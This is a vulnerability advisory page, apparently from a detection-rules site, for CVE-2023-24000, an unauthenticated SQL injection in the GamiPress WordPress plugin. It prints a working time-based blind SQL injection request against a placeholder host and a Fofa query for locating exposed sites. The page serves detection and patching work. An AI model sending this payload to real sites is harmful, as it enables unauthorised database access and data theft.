🔙 목록으로 돌아가기

CVE-2023-24000: WordPress GamiPress <= 2.5.7 - SQL Injection

TitleWordPress GamiPress <= 2.5.7 - SQL Injection
AuthorShivam Kamboj
SeverityCritical
ImpactAttackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.
RemediationUpdate to the latest version of GamiPress, version 2.5.8 or later.
CVSS Score9.8
EPSS Score0.23775
CVE IDCVE-2023-24000
CWE IDCWE-89
Fofa Querybody="/wp-content/plugins/gamipress/"
Tags cve cve2023 wordpress wp-plugin gamipress sqli wp

🔍 Vulnerability Description

The GamiPress plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.5.7 due to insufficient escaping on the user supplied parameter ‘$qv[$field_id]’ and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

🌐 HTTP Request

GET /wp-json/wp/v2/gamipress-logs?trigger_type[]=test')%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(6)))x)%20AND%20('a'='a HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WOW64; rv:41.0) Gecko/20100101 Firefox/140.0.4 (x64 de)
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-24000.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-24000.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A